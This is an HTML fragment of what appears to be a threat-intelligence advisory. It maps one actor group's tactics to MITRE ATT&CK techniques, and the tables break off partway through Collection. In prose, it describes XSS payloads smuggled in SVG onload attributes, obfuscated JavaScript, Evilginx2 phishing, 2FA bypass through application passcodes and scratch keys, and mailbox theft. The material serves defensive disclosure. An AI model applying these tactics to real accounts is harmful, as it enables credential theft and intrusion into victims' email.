<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
